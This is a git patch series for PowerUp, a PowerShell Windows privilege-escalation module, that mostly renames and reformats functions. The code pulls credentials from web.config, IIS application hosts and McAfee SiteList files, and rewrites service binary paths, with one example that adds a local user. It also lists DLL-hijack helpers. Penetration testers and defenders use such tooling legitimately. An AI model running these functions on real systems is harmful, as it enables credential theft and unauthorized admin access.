works with older versions) - $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending | Select-Object fullname -First 1 + $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 # Check if aspnet_regiis.exe exists - if (Test-Path ($aspnet_regiis_path.FullName)){ + if (Test-Path ($AspnetRegiisPath.FullName)) { # Setup path for temp web.config to the current user's temp dir $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" # Remove existing temp web.config - if (Test-Path ($WebConfigPath)) - { + if (Test-Path ($WebConfigPath)) { Remove-Item $WebConfigPath } # Copy web.config from vdir to user temp for decryption Copy-Item $CurrentPath $WebConfigPath - #Decrypt web.config in user temp - $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' - $Null = Invoke-Expression $aspnet_regiis_cmd + # Decrypt web.config in user temp + $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $AspnetRegiisCmd # Read the data from the web.config in temp [xml]$TMPConfigFile = Get-Content $WebConfigPath # Check if the connectionStrings are still encrypted - if ($TMPConfigFile.configuration.connectionStrings.add) - { + if ($TMPConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { @@ -3065,17 +3128,19 @@ function Get-WebConfig { $ConfServ = $MyConString.Split("=")[1].Split(";")[0] $ConfVdir = $CurrentVdir $ConfPath = $CurrentPath - $ConfEnc = "Yes" + $ConfEnc = 'Yes' $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } } - }else{ + } + else { Write-Verbose "Decryption of $CurrentPath failed." $False } - }else{ - Write-Verbose "aspnet_regiis.exe does not exist in the default location." + } + else { + Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' $False } } @@ -3084,20 +3149,16 @@ function Get-WebConfig { # Check if any connection strings were found if( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique } else { - - # Status user - Write-Verbose "No connectionStrings found." + Write-Verbose 'No connectionStrings found.' $False } - } else { - Write-Verbose "Appcmd.exe does not exist in the default location." + Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } @@ -3202,7 +3263,7 @@ function Get-ApplicationHost { # Check if credentials exists if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { - #Add credentials to database + # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } @@ -3221,9 +3282,9 @@ function Get-ApplicationHost { $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd - #Check if credentials exists + # Check if credentials exists if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { - #Add credentials to database + # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } @@ -3235,12 +3296,12 @@ function Get-ApplicationHost { } else { # Status user - Write-Verbose "No application pool or virtual directory passwords were found." + Write-Verbose 'No application pool or virtual directory passwords were found.' $False } } else { - Write-Verbose "Appcmd.exe does not exist in the default location." + Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } @@ -3262,6 +3323,14 @@ function Get-SiteListPassword { Required Dependencies: None Optional Dependencies: None + .DESCRIPTION + + Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, + C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate + credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword + function that takes advantage of McAfee's static key encryption. Any decrypted credentials + are output in custom objects. See links for more information. + .PARAMETER SiteListFilePath Optional path to a SiteList.xml file. @@ -3323,8 +3392,8 @@ function Get-SiteListPassword { ) # make sure the appropriate assemblies are loaded - Add-Type -assembly System.Security - Add-Type -assembly System.Core + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core # declare the encoding/crypto providers we need $Encoding = [System.Text.Encoding]::ASCII @@ -3434,7 +3503,7 @@ function Write-UserAddMSI { .SYNOPSIS Writes out a precompiled MSI installer that prompts for a user/group addition. - This function can be used to abuse Get-RegAlwaysInstallElevated. + This function can be used to abuse Get-RegistryAlwaysInstallElevated. .EXAMPLE @@ -3470,6 +3539,9 @@ function Invoke-AllChecks { Runs all functions that check for various Windows privilege escalation opportunities. + Author: @harmj0y + License: BSD 3-Clause + .PARAMETER HTMLReport Switch. Write a HTML version of the report to SYSTEM.username.html. @@ -3478,7 +3550,14 @@ function Invoke-AllChecks { PS C:\> Invoke-AllChecks - Runs all escalation checks, output statuses for whatever's found. + Runs all escalation checks and outputs a status report for discovered issues. + + .EXAMPLE + + PS C:\> Invoke-AllChecks -HTMLReport + + Runs all escalation checks and outputs a status report to SYSTEM.username.html + detailing any discovered issues. #> [CmdletBinding()] @@ -3512,7 +3591,6 @@ function Invoke-AllChecks { if($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User Has Local Admin Privileges!

    " | Out-File -Append $HtmlReportFile } - # return } else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." @@ -3541,22 +3619,26 @@ function Invoke-AllChecks { $Results = Get-ModifiableServiceFile $Results | Format-List if($HTMLReport) { - $Results | ConvertTo-HTML -Head $Header -Body "

    Service Executable Permissions

    " | Out-File -Append $HtmlReportFile + $Results | ConvertTo-HTML -Head $Header -Body "

    Service File Permissions

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service permissions..." $Results = Get-ModifiableService $Results | Format-List if($HTMLReport) { - $Results | ConvertTo-HTML -Head $Header -Body "

    Service Permissions

    " | Out-File -Append $HtmlReportFile + $Results | ConvertTo-HTML -Head $Header -Body "

    Modifiable Services

    " | Out-File -Append $HtmlReportFile } - # .dll hijacking + # DLL hijacking - "`n`n[*] Checking %PATH% for potentially hijackable .dll locations..." + "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathHijack - $Results | Format-List + $Results | Foreach-Object { + $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" + $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString + $_ + } | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    %PATH% .dll Hijacks

    " | Out-File -Append $HtmlReportFile } @@ -3565,9 +3647,8 @@ function Invoke-AllChecks { # registry checks "`n`n[*] Checking for AlwaysInstallElevated registry key..." - if (Get-RegAlwaysInstallElevated) { + if (Get-RegistryAlwaysInstallElevated) { $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'OutputFile' $OutputFile $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" $Results = $Out @@ -3578,15 +3659,15 @@ function Invoke-AllChecks { } "`n`n[*] Checking for Autologon credentials in registry..." - $Results = Get-RegAutoLogon + $Results = Get-RegistryAutoLogon $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autologons

    " | Out-File -Append $HtmlReportFile } - "`n`n[*] Checking for vulnerable registry autoruns and configs..." - $Results = Get-VulnAutoRun + "`n`n[*] Checking for registry autoruns and configs..." + $Results = Get-RegistryAutoRun $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autoruns

    " | Out-File -Append $HtmlReportFile @@ -3594,11 +3675,11 @@ function Invoke-AllChecks { # other checks - "`n`n[*] Checking for vulnerable schtask files/configs..." - $Results = Get-VulnSchTask + "`n`n[*] Checking for modifiable schtask files/configs..." + $Results = Get-ModifiableScheduledTaskFile $Results | Format-List if($HTMLReport) { - $Results | ConvertTo-HTML -Head $Header -Body "

    Vulnerabl Schasks

    " | Out-File -Append $HtmlReportFile + $Results | ConvertTo-HTML -Head $Header -Body "

    Modifidable Schask Files

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for unattended install files..." From 8083c1e1bb20ae4ceed16298bd2eeddf9cb5a70a Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 2 Jun 2016 02:14:38 -0400 Subject: [PATCH 149/296] Updated Privesc README.md and .psd1 to reflect the new PowerUp function names. --- Privesc/Privesc.psd1 | 26 ++++++++++++---------- Privesc/README.md | 52 ++++++++++++++++++++++++-------------------- 2 files changed, 44 insertions(+), 34 deletions(-) diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 4e668837..fe964a3a 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -10,7 +10,7 @@ ModuleVersion = '3.0.0.0' GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' # Author of this module -Author = 'Will Schroder' +Author = 'Will Schroeder' # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -23,28 +23,32 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Find-DLLHijack', + 'Add-ServiceDacl', 'Find-PathHijack', + 'Find-ProcessDLLHijack', 'Get-ApplicationHost', - 'Get-RegAlwaysInstallElevated', - 'Get-RegAutoLogon', + 'Get-ModifiablePath', + 'Get-ModifiableScheduledTaskFile', + 'Get-ModifiableService', + 'Get-ModifiableServiceFile', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', + 'Get-RegistryAutoRun', 'Get-ServiceDetail', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', 'Get-ServiceUnquoted', + 'Get-SiteListPassword', + 'Get-System', 'Get-UnattendedInstallFile', - 'Get-VulnAutoRun', - 'Get-VulnSchTask', 'Get-Webconfig', 'Install-ServiceBinary', 'Invoke-AllChecks', 'Invoke-ServiceAbuse', 'Restore-ServiceBinary', + 'Set-ServiceBinPath', + 'Test-ServiceDaclPermission', 'Write-HijackDll', 'Write-ServiceBinary', - 'Write-UserAddMSI', - 'Get-SiteListPassword', - 'Get-System' + 'Write-UserAddMSI' ) # List of all files packaged with this module diff --git a/Privesc/README.md b/Privesc/README.md index bb68a436..66a77306 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -28,32 +28,38 @@ Optional Dependencies: None ### Service Enumeration: - Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name - Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config - Get-ServicePermission - returns services the current user can modify - Get-ServiceDetail - returns detailed information about a specified service + Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name + Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config + Get-ModifiableService - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service ### Service Abuse: - Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command - Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command - Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command - Restore-ServiceBinary - restores a replaced service binary with the original executable + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable ### DLL Hijacking: - Find-DLLHijack - finds .dll hijacking opportunities for currently running processes - Find-PathHijack - finds service %PATH% .dll hijacking opportunities - Write-HijackDll - writes out a hijackable .dll + Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes + Find-PathHijack - finds service %PATH% .dll hijacking opportunities + Write-HijackDll - writes out a hijackable .dll ### Registry Checks: - Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set - Get-RegAutoLogon - checks for Autologon credentials in the registry - Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns - -### Misc.: - Get-VulnSchTask - find schtasks with modifiable target files - Get-UnattendedInstallFile - finds remaining unattended installation files - Get-Webconfig - checks for any encrypted web.config strings - Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords - Write-UserAddMSI - write out a MSI installer that prompts for a user to be added - Invoke-AllChecks - runs all current escalation checks and returns a report - + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAutoLogon - checks for Autologon credentials in the registry + Get-RegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Miscellaneous Checks: + Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + +### Other Helpers/Meta-Functions: + Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service + Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-AllChecks - runs all current escalation checks and returns a report From 9711069b7e4458b3993aeacc1f336f97936408d9 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 3 Jun 2016 19:03:11 -0400 Subject: [PATCH 150/296] -Added ValueFromPipelineByPropertyName to Get-ModifiablePath to parse passed file objects -Service functions now accept just -Name (instead of -Service/-ServiceName) that accepts has ValueFromPipelineByPropertyName set in order to handle service objects on the pipeline -Moved PSReflect signatures to the bottom of the script -Function and help cleanup --- Privesc/PowerUp.ps1 | 1095 +++++++++++++++++++------------------------ 1 file changed, 492 insertions(+), 603 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 9afb945e..f463599f 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -80,15 +80,15 @@ function func { Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0, Mandatory=$True)] [String] $DllName, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [string] $FunctionName, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [Type] $ReturnType, @@ -224,39 +224,39 @@ are all incorporated into the same in-memory module. [OutputType([Hashtable])] Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $EntryPoint, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, @@ -433,20 +433,20 @@ New-Enum. :P [OutputType([Type])] Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, @@ -487,11 +487,11 @@ function field { Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, @@ -610,16 +610,16 @@ New-Struct. :P [OutputType([Type])] Param ( - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, @@ -746,6 +746,9 @@ function Get-ModifiablePath { Parses a passed string containing multiple possible file/folder paths and returns the file paths where the current user has modification rights. + Author: @harmj0y + License: BSD 3-Clause + .DESCRIPTION Takes a complex path specification of an initial file/folder path with possible @@ -762,17 +765,28 @@ function Get-ModifiablePath { .EXAMPLE - PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiablePath + PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath Path Permissions IdentityReference ---- ----------- ----------------- - C:\Temp\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + + .EXAMPLE + + PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath + + Path Permissions IdentityReference + ---- ----------- ----------------- + C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + ... #> [CmdletBinding()] Param( - [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] [String[]] $Path ) @@ -814,7 +828,7 @@ function Get-ModifiablePath { PROCESS { - foreach ($TargetPath in $Path) { + ForEach($TargetPath in $Path) { $CandidatePaths = @() @@ -822,7 +836,7 @@ function Get-ModifiablePath { $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidatePaths += $TargetPath.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + $CandidatePaths += $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } @@ -884,7 +898,7 @@ function Add-ServiceDacl { .PARAMETER Service - An array of one or more ServiceProcess.ServiceController objects from Get-Service. + An array of one or more ServiceProcess.ServiceController objects from Get-Service. Required. .EXAMPLE @@ -907,53 +921,19 @@ function Add-ServiceDacl { https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> - [OutputType([ServiceProcess.ServiceController])] + [OutputType('ServiceProcess.ServiceController')] param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ServiceProcess.ServiceController[]] [ValidateNotNullOrEmpty()] $Service ) BEGIN { - $Module = New-InMemoryModule -ModuleName PowerUpModule - - # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ - $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ - QueryConfig = 0x00000001 - ChangeConfig = 0x00000002 - QueryStatus = 0x00000004 - EnumerateDependents = 0x00000008 - Start = 0x00000010 - Stop = 0x00000020 - PauseContinue = 0x00000040 - Interrogate = 0x00000080 - UserDefinedControl = 0x00000100 - Delete = 0x00010000 - ReadControl = 0x00020000 - WriteDac = 0x00040000 - WriteOwner = 0x00080000 - Synchronize = 0x00100000 - AccessSystemSecurity = 0x01000000 - GenericAll = 0x10000000 - GenericExecute = 0x20000000 - GenericWrite = 0x40000000 - GenericRead = 0x80000000 - AllAccess = 0x000F01FF - } -Bitfield - - $FunctionDefinitions = @( - (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError) - (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) - ) - - $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' - $Advapi32 = $Types['advapi32'] - filter Local:Get-ServiceReadControlHandle { [OutputType([IntPtr])] param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ServiceProcess.ServiceController] [ValidateNotNullOrEmpty()] $Service @@ -970,7 +950,7 @@ function Add-ServiceDacl { } PROCESS { - foreach ($IndividualService in $Service) { + ForEach ($IndividualService in $Service) { try { $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService } @@ -1024,7 +1004,7 @@ function Set-ServiceBinPath { .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a + Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a service handle to the service with ConfigControl access using the GetServiceHandle Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) to the string value specified by binPath, and the handle is closed off. @@ -1034,13 +1014,9 @@ function Set-ServiceBinPath { service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. + .PARAMETER Name - .PARAMETER ServiceName - - The name of the service to modify the binPath for. + An array of one or more service names to set the binary path for. Required. .PARAMETER binPath @@ -1052,7 +1028,7 @@ function Set-ServiceBinPath { .EXAMPLE - PS C:\> Set-ServiceBinPath -ServiceName VulnSvc -BinPath 'net user john Password123! /add' + PS C:\> Set-ServiceBinPath -Name VulnSvc -BinPath 'net user john Password123! /add' Sets the binary path for 'VulnSvc' to be a command to add a user. @@ -1067,40 +1043,24 @@ function Set-ServiceBinPath { https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( - [Parameter(ParameterSetName='Service', Mandatory = $True, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] - [ValidateNotNullOrEmpty()] - $Service, - - [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] - [String] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $ServiceName, + $Name, - [Parameter(ParameterSetName='Service', Mandatory = $True)] - [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] + [Parameter(Position=1, Mandatory=$True)] [String] [ValidateNotNullOrEmpty()] $binPath ) BEGIN { - $Module = New-InMemoryModule -ModuleName PowerUpModule - - $FunctionDefinitions = @( - (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode) - (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) - ) - - $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' - $Advapi32 = $Types['advapi32'] - filter Local:Get-ServiceConfigControlHandle { [OutputType([IntPtr])] param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ServiceProcess.ServiceController] [ValidateNotNullOrEmpty()] $TargetService @@ -1117,53 +1077,41 @@ function Set-ServiceBinPath { } PROCESS { - if($PSBoundParameters['Service']) { - try { - $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service - } - catch { - $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for $($Service.Name) : $_" - } - } - else { + + ForEach($IndividualService in $Name) { + + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop try { - $Service = Get-Service -Name $ServiceName - $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $TargetService } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for $ServiceName : $_" + Write-Warning "Error opening up the service handle with read control for $($TargetService.Name) : $_" } - } - if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { - $SERVICE_NO_CHANGE = [UInt32]::MaxValue + $SERVICE_NO_CHANGE = [UInt32]::MaxValue - $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($Result -ne 0) { - if($PSBoundParameters['Service']) { - Write-Verbose "binPath for $($Service.Name) successfully set to '$binPath'" + if ($Result -ne 0) { + Write-Verbose "binPath for $($TargetService.Name) successfully set to '$binPath'" + $True } else { - Write-Verbose "binPath for $ServiceName successfully set to '$binPath'" + Write-Error ([ComponentModel.Win32Exception] $LastError) + $Null } - $True - } - else { - Write-Error ([ComponentModel.Win32Exception] $LastError) - $Null - } - $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } } } } -filter Test-ServiceDaclPermission { +function Test-ServiceDaclPermission { <# .SYNOPSIS @@ -1175,19 +1123,15 @@ filter Test-ServiceDaclPermission { .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName and first adds a service - Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are - enumerated services where the user has some type of permission are filtered. The services - are then filtered against a specified set of permissions, and services where the current - user have the specified permissions are returned. - - .PARAMETER Service + Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds + a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current + user are enumerated services where the user has some type of permission are filtered. The + services are then filtered against a specified set of permissions, and services where the + current user have the specified permissions are returned. - A ServiceProcess.ServiceController object to test against the specified permission set. + .PARAMETER Name - .PARAMETER ServiceName - - The name of the service to test against the specified permission set. + An array of one or more service names to test against the specified permission set. .PARAMETER Permissions @@ -1219,7 +1163,7 @@ filter Test-ServiceDaclPermission { .EXAMPLE - PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -ServiceName VulnSVC + PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' Return the VulnSVC object if the current user has start permissions. @@ -1228,118 +1172,112 @@ filter Test-ServiceDaclPermission { https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> - [OutputType([ServiceProcess.ServiceController])] - [CmdletBinding(DefaultParameterSetName='ServiceName')] + [OutputType('ServiceProcess.ServiceController')] param ( - [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] - [String] - [ValidateNotNullOrEmpty()] - $ServiceName, - - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $Service, + $Name, - [Parameter(ParameterSetName='ServiceName')] - [Parameter(ParameterSetName='Service')] [String[]] [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] $Permissions, - [Parameter(ParameterSetName='ServiceName')] - [Parameter(ParameterSetName='Service')] [String] [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] $PermissionSet = 'ChangeConfig' ) - if($PSBoundParameters['Service']) { - $TargetService = $Service | Add-ServiceDacl - } - else { - $TargetService = Get-Service 